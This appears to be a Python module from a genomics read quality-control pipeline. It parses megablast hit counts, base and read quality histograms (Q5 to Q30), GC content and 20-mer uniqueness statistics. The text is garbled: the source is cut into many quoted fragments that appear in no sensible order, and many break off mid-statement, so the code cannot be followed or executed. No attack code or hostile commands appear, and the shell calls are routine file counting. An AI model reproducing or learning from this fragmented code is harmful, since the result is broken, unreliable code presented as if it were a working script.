Q30_seen", "Q15_seen != 0: Q10_seen = 1 statsPerc[10] = statsPerc[15] statsBase[10] = statsBase[15] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10]", "# 1 0 0.00000 # 2 0 0.00000 # 3 0 0.00000 #", "1.699 ##Quality bases fraction #0 159 0.00008 #1 0 0.00000 #2 12175 0.00593", "else: log.error(\"- Failed to add megablast taxlist file of %s.\" % (db)) return", "l.split('\\t')[1] elif l.startswith(\"#STDev_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_STD] = l.split('\\t')[1] elif l.startswith(\"#Mean\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev\"):", "# #Median 36 # #Mean 33.298 # #STDev 5.890 # #Mean_30 35.303 #", "0 tophitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.tophit\" % (db)) tophits, _, exitCode = run_sh_command(\"grep -v", "0 0.00000 if len(l) > 0: if l.startswith(\"#\"): if l.startswith(\"#Mean_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_MEAN] = l.split('\\t')[1]", "1 0 0.00000 # 2 0 0.00000 # 3 0 0.00000 # 4", "name or full path Returns : SUCCESS FAILURE Comments : \"\"\" def read_megablast_hits(db,", "31 34 34 3 27 34 108573 83917 81999 104127 85 378701 #", "are ZERO.\") log.debug(\"Q and C values: %s\" % (dataToRecordDict)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title", "378701 2 34 8875097 23.44 25 26 28 3 21 32 106904 84046", "stdev = 0.0 retCode = RQCExitCodes.JGI_FAILURE if os.path.isfile(histFile): with open(histFile, \"r\") as histFH:", "totalling 420.3971. <0.387106 +/- 0.112691> if len(line) == 0 or not line.startswith(\"#Found\"): log.error(\"-", "matchings, _, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l \"", "does not contains right results: %s, %s\" % (histFile, line)) retCode = RQCExitCodes.JGI_FAILURE", "= {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} allLines = open(qhistTxtFullPath).readlines() for l in", "9704 0.3882 ## New data #count first rand first_cnt rand_cnt # 0 1", "# #Quality bases fraction # 0 77098 0.00043 # 1 0 0.00000 #", "## 20140826 Changed for bbtools cummlatPer = cummlatPer + percent cummlatPer = float(\"%.2f\"", "0 1 2 3 4 ##25000 2500 0.1 9704 0.3882 ## New data", "Q25_seen = 1 statsPerc[25] = statsPerc[30] statsBase[25] = statsBase[30] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25]", "## Find and add taxlist file ## taxListFound, _, exitCode = run_sh_command(\"ls %s\"", "to add megablast tophit file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ##", "python # -*- coding: utf-8 -*- \"\"\" Readqc report: record stat key-value in", "if taxListFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TAXLIST_FILE + \" \" + db, os.path.join(megablastPath, taxListFound), log) else:", "%s, Q25 %s, Q20 %s, Q15 %s, Q10 %s, Q5 %s\" % \\", "need the first line # Ex) #Found 1086 total values totalling 420.3971. <0.387106", "\"../lib/\" srcDir = os.path.dirname(__file__) sys.path.append(os.path.join(srcDir, 'tools')) ## ./tools sys.path.append(os.path.join(srcDir, '../lib')) ## rqc-pipeline/lib sys.path.append(os.path.join(srcDir,", "continue ## New data # 0 1 2 3 4 5 6 7", "None # t = l.split(\"\\t\") # assert len(t) > 6 # pos =", "#25000 66.400 76.088 16600 19022 #50000 52.148 59.480 13037 14870 #75000 46.592 53.444", "log.error(\"- GC content hist text file does not contains right results: %s, %s\"", "0.00000 # 6 0 0.00000 if len(l) > 0: if l.startswith(\"#\"): if l.startswith(\"#Mean_30\"):", "None mean = None t = l.split(\"\\t\") pos = int(t[0]) + 1 if", "sys.path.append(os.path.join(srcDir, '../tools')) ## rqc-pipeline/tools from readqc_constants import RQCReadQcConfig, ReadqcStats from rqc_constants import RQCExitCodes", "run_sh_command(\"ls %s\" % (top100hitFile), True, log) top100hitFound = top100hitFound.strip() if top100hitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOP100HIT_FILE", "statsBase[10] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase if Q30_seen == 0: log.error(\"Q30 is", "$) Args : 1) A reference to an JGI_Analysis object 2) current working", "34 7131741 18.83 16 16 26 10 2 34 96452 83003 107891 91355", "qavg = None nbase = None percent = None t = l.split() try:", "5 378701 2 37 13790443 36.42 37 37 37 0 37 37 114586", "37 37 37 0 37 37 114586 68297 78020 117740 58 378701 #", "and Q30_seen == 0: Q30_seen = 1 stats[30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q30] = cummlatPer", "37 97835 78304 87944 114618 0 378701 # ## 5 378701 2 37", "parsedFileFound: parsedFileFound = parsedFileFound.strip() append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_PARSED_FILE + \" \" + db, os.path.join(megablastPath, parsedFileFound),", "%s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## Find and add top100hit file ##", "= cummlatBase if Q20_seen == 0 and Q25_seen != 0: Q20_seen = 1", "This function generates tophit list of megablast against different databases. Usage : read_megablast_hits(db_name,", "# ## 1 378701 2 34 8875097 23.44 25 26 28 3 21", "into database. Usage : read_gc_mean($analysis) Args : 1) A reference to an JGI_Analysis", "%s\" % (l, qavg, nbase, percent)) continue log.debug(\"base_level_qual_stats(): qavg and nbase and percent:", "continue t = l.split() assert len(t) == 3 qavg = int(t[0]) percent =", "378701 # ## 3 378701 2 34 12519460 33.06 33 34 34 1", "len(t) > 6 # pos = int(t[0]) # mean = float(t[5]) # #", "log.error(\"- Failed to add megablast taxlist file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE", "0 378701 # ## 2 378701 2 34 6543224 17.28 15 16 26", "Find and add taxlist file ## taxListFound, _, exitCode = run_sh_command(\"ls %s\" %", "1 stats[25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer elif qavg <= 20 and qavg", "= cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase if Q5_seen == 0 and Q10_seen != 0:", "wkdir/uniqueness Returns : JGI_SUCCESS: Illumina read level report could be successfully generated. JGI_FAILURE:", ": read_level_mer_sampling($analysis, $summary_file_dir) Args : 1) A reference to an JGI_Analysis object 2)", "if Q30_seen == 0: log.error(\"Q30 is 0 . Read quality values are ZERO.\")", "data processing script. \"\"\" def base_level_qual_stats(dataToRecordDict, reformatObqhistFile, log): cummlatPer = 0 cummlatBase =", "# ## Old format # ## READ1.qrpt # ## column count min max", "##Median 38 ##Mean 37.061 ##STDev 4.631 ##Mean_30 37.823 ##STDev_30 1.699 ##Quality bases fraction", "-l \" % (tophitFile), True, log) t = tophits.split() if len(t) == 1", "l.strip() ## ## obqhist file format example ## # #Median 36 # #Mean", "_, exitCode = run_sh_command(\"ls %s\" % (parsedFile), True, log) if parsedFileFound: parsedFileFound =", "<= 20 and qavg > 15 and Q20_seen == 0: Q20_seen = 1", "120700 0 378701 # ## 4 378701 2 37 13807944 36.46 37 37", "20mer sampling Usage : read_level_mer_sampling($analysis, $summary_file_dir) Args : 1) A reference to an", "95322 83958 102440 46 378701 # ## 5 378701 2 37 13790443 36.42", "exitCode = run_sh_command(\"ls %s\" % (top100hitFile), True, log) top100hitFound = top100hitFound.strip() if top100hitFound:", "# 3 0 0.00000 # 4 0 0.00000 # 5 0 0.00000 #", "Function : This function generates average GC content % and its standard deviation", "107891 91355 0 378701 # ## 4 378701 2 37 9686653 25.58 19", "# # else: # log.error(\"- qhist file not found: %s\" % (qrpt)) #", "= int(t[0]) nbase = int(t[1]) percent = float(t[2]) except IndexError: log.warn(\"parse error in", "could be successfully generated. JGI_FAILURE: Illumina read level report could not be generated.", "= float(t[2]) * 100.0 ## 20140826 Changed for bbtools cummlatPer = cummlatPer +", "= RQCExitCodes.JGI_FAILURE if os.path.isfile(histFile): with open(histFile, \"r\") as histFH: line = histFH.readline() ##", "(qrpt)) # # q20 = None # num = 0 # # if", "378701 2 34 7131741 18.83 16 16 26 10 2 34 96452 83003", "Q20 %s, Q15 %s, Q10 %s, Q5 %s\" % \\ (stats[30], stats[25], stats[20],", ": read_level_qual_stats Function : Generate qual scores and plots of read level 20mer", "Q30_seen = 1 statsPerc[30] = cummlatPer statsBase[30] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C30]", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase if Q10_seen == 0 and Q15_seen != 0: Q10_seen =", "is missing. if Q25_seen == 0 and Q30_seen != 0: Q25_seen = 1", "RQCExitCodes.JGI_FAILURE else: toks = line.split() assert len(toks) == 9 mean = float(toks[6][1:]) *", "Q25_seen == 0 and Q30_seen != 0: Q25_seen = 1 stats[25] = stats[30]", "found: %s\" % (histFile)) return retCode, mean, stdev if __name__ == \"__main__\": exit(0)", "= int(t[1]) percent = float(t[2]) except IndexError: log.warn(\"parse error in base_level_qual_stats: %s %s", "from rqc_constants import RQCExitCodes from os_utility import run_sh_command from common import append_rqc_stats, append_rqc_file", "q20_score(qrpt, log): # log.debug(\"qrpt file %s\" % (qrpt)) # # q20 = None", "(parsedFile), True, log) if exitCode == 0: ## if parsed file found. t", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_STD] = l.split('\\t')[1] continue qavg = None nbase", "against different databases. Usage : read_megablast_hits(db_name, log) Args : blast db name or", "file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## Find and add tophit", "and qavg > 10 and Q15_seen == 0: Q15_seen = 1 stats[15] =", "float(t[2]) * 100.0 ## 20140826 Changed for bbtools cummlatPer = cummlatPer + percent", "16 26 10 2 34 96452 83003 107891 91355 0 378701 # ##", "if not l: break if l.startswith('#'): continue t = l.split() assert len(t) ==", "== 0: ## if parsed file found. t = matchings.split() if len(t) ==", "statsBase[25] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase elif qavg == 20:", "0 378701 # ## 5 378701 2 37 10208226 26.96 25 33 35", "# #Mean_30 35.303 # #STDev_30 1.517 # #Quality bases fraction # 0 77098", "cummlatBase = 0 statsPerc = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} statsBase =", "* 100.0 cummlatPer = float(\"%.f\" % (cummlatPer)) if cummlatPer > 100: cummlatPer =", "os.path.join(megablastPath, tophitFound), log) else: log.error(\"- Failed to add megablast tophit file of %s.\"", "== 0: Q30_seen = 1 stats[30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q30] = cummlatPer elif qavg", "uniqRandtMerPer = float(\"%.2f\" % (float(t[2]))) dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_SAMPLE_SIZE] = totalMers dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_STARTING_MERS] = uniqStartMerPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_RANDOM_MERS] =", "ReadqcStats from rqc_constants import RQCExitCodes from os_utility import run_sh_command from common import append_rqc_stats,", "0 0.00000 #2 12175 0.00593 #3 0 0.00000 #4 0 0.00000 #5 0", "1 stats[10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer elif qavg <= 5 and Q5_seen", "cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer elif qavg <= 5 and Q5_seen == 0: Q5_seen", "378701 2 37 13790443 36.42 37 37 37 0 37 37 114586 68297", "!= 0: Q15_seen = 1 statsPerc[15] = statsPerc[20] statsBase[15] = statsBase[20] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] =", "RQCExitCodes.JGI_FAILURE cummlatPer = 0.0 Q30_seen = 0 Q25_seen = 0 Q20_seen = 0", "qual scores and plots of read level 20mer sampling Usage : read_level_mer_sampling($analysis, $summary_file_dir)", "qavg <= 30 and qavg > 25 and Q30_seen == 0: Q30_seen =", "elif qavg == 10: Q10_seen = 1 statsPerc[10] = cummlatPer statsBase[10] = cummlatBase", "an JGI_Analysis object 2) current working folder wkdir/qual Returns : JGI_SUCCESS: Illumina read", "36 33.48 33 34 34 29 36 6900 0 36 33.48 33 34", "Q20_seen == 0 and Q25_seen != 0: Q20_seen = 1 stats[20] = stats[25]", "= cummlatBase elif qavg == 20: Q20_seen = 1 statsPerc[20] = cummlatPer statsBase[20]", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_STD] = l.split('\\t')[1] elif l.startswith(\"#Mean\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_STD] = l.split('\\t')[1]", "A reference to an JGI_Analysis object Returns : JGI_SUCCESS: JGI_FAILURE: Comments : \"\"\"", "of Q20 score Comments : \"\"\" # def q20_score(qrpt, log): # log.debug(\"qrpt file", "378701 2 37 13807944 36.46 37 37 37 0 37 37 96935 95322", "format # ## READ1.qrpt # ## column count min max sum mean Q1", "0 ## New format ##Median 38 ##Mean 37.061 ##STDev 4.631 ##Mean_30 37.823 ##STDev_30", "= 1 statsPerc[5] = statsPerc[10] statsBase[5] = statsBase[10] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] =", "run_sh_command from common import append_rqc_stats, append_rqc_file statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] \"\"\"", "= os.path.dirname(__file__) sys.path.append(os.path.join(srcDir, 'tools')) ## ./tools sys.path.append(os.path.join(srcDir, '../lib')) ## rqc-pipeline/lib sys.path.append(os.path.join(srcDir, '../tools')) ##", "## add .parsed file ## parsedFileFound, _, exitCode = run_sh_command(\"ls %s\" % (parsedFile),", "Readqc report: record stat key-value in readqc-stats.txt ### JGI_Analysis_Utility_Illumina::illumina_read_level_report Created: Jul 24 2013", "37 9686653 25.58 19 32 33 14 2 37 97835 78304 87944 114618", "log): retCode = RQCExitCodes.JGI_FAILURE cummlatPer = 0.0 Q30_seen = 0 Q25_seen = 0", "= RQCReadQcConfig.CFG[\"files_file\"] \"\"\" Title : read_megablast_hits Function : This function generates tophit list", "statsPerc[10] = cummlatPer statsBase[10] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase elif", "0 0.00000 # 4 0 0.00000 # 5 0 0.00000 # 6 0", ": read_level_qual_stats Function : Generate qual scores and plots of read level QC", "== 10: Q10_seen = 1 statsPerc[10] = cummlatPer statsBase[10] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] =", "reference to an JGI_Analysis object 2) current working folder wkdir/uniqueness Returns : JGI_SUCCESS:", "30: Q30_seen = 1 statsPerc[30] = cummlatPer statsBase[30] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30] = cummlatPer", "= None # mean = None # t = l.split(\"\\t\") # assert len(t)", "cummlatPer if Q10_seen == 0 and Q15_seen != 0: Q10_seen = 1 stats[10]", "read_level_qual_stats(dataToRecordDict, qhistTxtFullPath, log): retCode = RQCExitCodes.JGI_FAILURE cummlatPer = 0.0 Q30_seen = 0 Q25_seen", "G_Count T_Count N_Count Max_count # ## 1 378701 2 34 8875097 23.44 25", "% (mean, stdev)) retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- gc hist file not found:", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase elif qavg == 5: Q5_seen = 1 statsPerc[5] = cummlatPer", "25: Q25_seen = 1 statsPerc[25] = cummlatPer statsBase[25] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer", "Q15_seen == 0: Q15_seen = 1 stats[15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer elif", "34 6543224 17.28 15 16 26 11 2 34 107573 77148 97953 88998", "= 1 stats[20] = stats[25] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer if Q15_seen == 0 and", "= species.split() if len(t) == 1 and t[0].isdigit(): spe = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TAX_SPECIES", "0: Q25_seen = 1 stats[25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer elif qavg <=", "for l in allLines[::-1]: if not l: break if l.startswith('#'): continue t =", "### Double check that no value is missing. if Q25_seen == 0 and", "0 1 2 3 4 5 6 7 8 9 10 11 12", "18.83 16 16 26 10 2 34 96452 83003 107891 91355 0 378701", "30 and qavg > 25 and Q30_seen == 0: Q30_seen = 1 stats[30]", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase if Q20_seen == 0 and Q25_seen !=", "end of the illumina base level data processing script. \"\"\" def base_level_qual_stats(dataToRecordDict, reformatObqhistFile,", "(parsedFile), True, log) if parsedFileFound: parsedFileFound = parsedFileFound.strip() append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_PARSED_FILE + \" \"", "0.1 9704 0.3882 ## New data #count first rand first_cnt rand_cnt # 0", "<0.387106 +/- 0.112691> if len(line) == 0 or not line.startswith(\"#Found\"): log.error(\"- GC content", "0 378701 # ## 4 378701 2 37 9686653 25.58 19 32 33", "len(t) == 1 and t[0].isdigit(): hitCount = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_MATCHING_HITS + \" \"", "= species.split() if len(t) == 1 and t[0].isdigit(): top100hits = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_100HITS", "and plots of read level QC Usage : base_level_qual_stats($analysis, $) Args : 1)", "N_Count Max_count # ## 1 378701 2 34 8875097 23.44 25 26 28", "# else: # q20 = pos # # else: # log.error(\"- qhist file", "base_level_qual_stats: %s %s %s %s\" % (l, qavg, nbase, percent)) continue log.debug(\"base_level_qual_stats(): qavg", "\"megablast\" megablastPath = os.path.join(currentDir, megablastDir) statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] ## ##", "= cummlatPer statsBase[10] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase elif qavg", "-l \" % (parsedFile), True, log) if exitCode == 0: ## if parsed", "mean = None # t = l.split(\"\\t\") # assert len(t) > 6 #", "qavg == 20: Q20_seen = 1 statsPerc[20] = cummlatPer statsBase[20] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20]", "function generates average GC content % and its standard deviation and put them", "log) top100hitFound = top100hitFound.strip() if top100hitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOP100HIT_FILE + \" \" + db,", "statsPerc[30] = cummlatPer statsBase[30] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C30] = cummlatBase elif", "33.298 # #STDev 5.890 # #Mean_30 35.303 # #STDev_30 1.517 # #Quality bases", "= run_sh_command(\"ls %s\" % (tophitFile), True, log) tophitFound = tophitFound.strip() if tophitFound: append_rqc_file(filesFile,", "else: log.error(\"- bqHist file not found: %s\" % (bqHist)) return None return q20", "percent)) cummlatPer += percent * 100.0 cummlatPer = float(\"%.f\" % (cummlatPer)) if cummlatPer", "Q20_seen = 1 statsPerc[20] = statsPerc[25] statsBase[20] = statsBase[25] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20]", "35 10 10 37 98021 90611 89040 101029 0 378701 # # pos", "and Q15_seen == 0: Q15_seen = 1 stats[15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer", "tophit file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## Find and add", "in allLines[::-1]: if not l: break if l.startswith('#'): continue t = l.split() assert", "##Mean 37.061 ##STDev 4.631 ##Mean_30 37.823 ##STDev_30 1.699 ##Quality bases fraction #0 159", "%s %s\" % (qavg, nbase, percent)) cummlatPer += percent * 100.0 cummlatPer =", "4 378701 2 37 9686653 25.58 19 32 33 14 2 37 97835", "log.error(\"- qhist file not found: %s\" % (qrpt)) # return None # #", "open(qrpt, \"r\") as qrptFH: # for l in qrptFH: # num += 1", "== 0: log.error(\"Q30 is 0 . Read quality values are ZERO.\") log.debug(\"Q30 %s,", "Q10_seen = 0 Q5_seen = 0 ## New format ##Median 38 ##Mean 37.061", "log.error(\"Q30 is 0. Base quality values are ZERO.\") log.debug(\"Q and C values: %s\"", "98021 90611 89040 101029 0 378701 # # pos = None # mean", "\" + db, hitCount, log) ## ## add .parsed file ## parsedFileFound, _,", "readNum == 1: mean = float(t[4]) else: mean = float(t[13]) if mean and", "# else: # log.error(\"- qhist file not found: %s\" % (qrpt)) # return", "5:0} statsBase = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} Q30_seen = 0 Q25_seen", "cummlatPer = 100.0 ## RQC-621 cummlatBase += nbase if qavg == 30: Q30_seen", "statsPerc[20] = cummlatPer statsBase[20] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase elif", "1 statsPerc[15] = statsPerc[20] statsBase[15] = statsBase[20] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase", "open(histFile, \"r\") as histFH: line = histFH.readline() ## we only need the first", "tophit list of megablast against different databases. Usage : read_megablast_hits(db_name, log) Args :", "+= nbase if qavg == 30: Q30_seen = 1 statsPerc[30] = cummlatPer statsBase[30]", "#Mean_30 35.303 # #STDev_30 1.517 # #Quality bases fraction # 0 77098 0.00043", "t[0].isdigit(): spe = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TAX_SPECIES + \" \" + db, spe, log)", "# ## 5 378701 2 37 10208226 26.96 25 33 35 10 10", "0 0.00000 #4 0 0.00000 #5 0 0.00000 #6 0 0.00000 allLines =", "else: # log.error(\"- qhist file not found: %s\" % (qrpt)) # return None", "values are ZERO.\") log.debug(\"Q30 %s, Q25 %s, Q20 %s, Q15 %s, Q10 %s,", "log.info(\"- No blast hits for %s.\" % (db)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title :", "0: ## if parsed file found. t = matchings.split() if len(t) == 1", "34 12447306 32.87 31 34 34 3 27 34 108573 83917 81999 104127", "db, os.path.join(megablastPath, taxListFound), log) else: log.error(\"- Failed to add megablast taxlist file of", "read_megablast_hits Function : This function generates tophit list of megablast against different databases.", "for l in qrptFH: if l.startswith('#'): continue ## New data # 0 1", "l.startswith('#'): continue ## New data # 0 1 2 3 4 5 6", "34 1 32 34 112178 83555 84449 98519 0 378701 # ## 3", "0: Q10_seen = 1 stats[10] = stats[15] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer if Q5_seen ==", "## READ2.qrpt # ## column count min max sum mean Q1 med Q3", "## ## Find and add taxlist file ## taxListFound, _, exitCode = run_sh_command(\"ls", "cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer elif qavg <= 15 and qavg > 10 and", "34 34 1 32 34 104668 72341 80992 120700 0 378701 # ##", ": \"\"\" def read_megablast_hits(db, log): currentDir = RQCReadQcConfig.CFG[\"output_path\"] megablastDir = \"megablast\" megablastPath =", "= \"megablast\" megablastPath = os.path.join(currentDir, megablastDir) statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] ##", "statsBase[25] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase if Q15_seen == 0 and Q20_seen", "text file does not contains right results: %s, %s\" % (histFile, line)) retCode", "84046 81795 105956 0 378701 # ## 2 378701 2 34 6543224 17.28", "0.00000 #4 0 0.00000 #5 0 0.00000 #6 0 0.00000 allLines = open(reformatObqhistFile).readlines()", "37.061 ##STDev 4.631 ##Mean_30 37.823 ##STDev_30 1.699 ##Quality bases fraction #0 159 0.00008", "1 statsPerc[5] = cummlatPer statsBase[5] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase", "106904 84046 81795 105956 0 378701 # ## 2 378701 2 34 6543224", "be called at the very end of the illumina base level data processing", "else: log.info(\"- No blast hits for %s.\" % (db)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title", "+ db, os.path.join(megablastPath, top100hitFound), log) else: log.error(\"- Failed to add megablast top100hit file", "(db)) matchings, _, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l", "intended to be called at the very end of the illumina read level", "float(t[2]) except IndexError: log.warn(\"parse error in base_level_qual_stats: %s %s %s %s\" % (l,", "plots of read level 20mer sampling Usage : read_level_mer_sampling($analysis, $summary_file_dir) Args : 1)", "mean_1 Q1_1 med_1 Q3_1 LW_1 RW_1 count_2 min_2 max_2 mean_2 Q1_2 med_2 Q3_2", "mean = float(t[5]) # # if mean and pos: # if mean <", "4 #25000 66.400 76.088 16600 19022 #50000 52.148 59.480 13037 14870 #75000 46.592", "Function : This function generates tophit list of megablast against different databases. Usage", "32.87 31 34 34 3 27 34 108573 83917 81999 104127 85 378701", "\"megablast.*.%s*.parsed.taxlist\" % (db)) species, _, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null |", "17 18 ##BaseNum count_1 min_1 max_1 mean_1 Q1_1 med_1 Q3_1 LW_1 RW_1 count_2", "and plots of read level QC Usage : read_level_qual_stats($analysis, $) Args : 1)", "= cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C30] = cummlatBase elif qavg == 25: Q25_seen", "int(t[0]) percent = float(t[2]) * 100.0 ## 20140826 Changed for bbtools cummlatPer =", "A_Count C_Count G_Count T_Count N_Count Max_count # ## 1 378701 2 34 8875097", "## column count min max sum mean Q1 med Q3 IQR lW rW", "Ex) #Found 1086 total values totalling 420.3971. <0.387106 +/- 0.112691> if len(line) ==", "log.error(\"- Failed to add megablast top100hit file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE", "and qavg > 5 and Q10_seen == 0: Q10_seen = 1 stats[10] =", "fraction # 0 77098 0.00043 # 1 0 0.00000 # 2 0 0.00000", "top100hits = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_100HITS + \" \" + db, top100hits, log) ##", "\" \" + db, top100hits, log) ## ## Find and add taxlist file", "output files ## matchings = 0 hitCount = 0 parsedFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed\"", "and Q10_seen != 0: Q5_seen = 1 stats[5] = stats[10] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer", "fracRandUniMer ## 0 1 2 3 4 ##25000 2500 0.1 9704 0.3882 ##", "statsBase[10] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase elif qavg == 5:", "percent)) continue log.debug(\"base_level_qual_stats(): qavg and nbase and percent: %s %s %s\" % (qavg,", "(top100hitFile), True, log) top100hitFound = top100hitFound.strip() if top100hitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOP100HIT_FILE + \" \"", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase elif qavg == 20: Q20_seen = 1 statsPerc[20] = cummlatPer", "= cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer elif qavg <= 5 and Q5_seen == 0:", "= stats[15] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer if Q5_seen == 0 and Q10_seen != 0:", "%s, Q10 %s, Q5 %s\" % \\ (stats[30], stats[25], stats[20], stats[15], stats[10], stats[5]))", "hitCount = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_MATCHING_HITS + \" \" + db, hitCount, log) ##", "!= 0: Q25_seen = 1 stats[25] = stats[30] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer if Q20_seen", "20 and Q25_seen == 0: Q25_seen = 1 stats[25] = cummlatPer 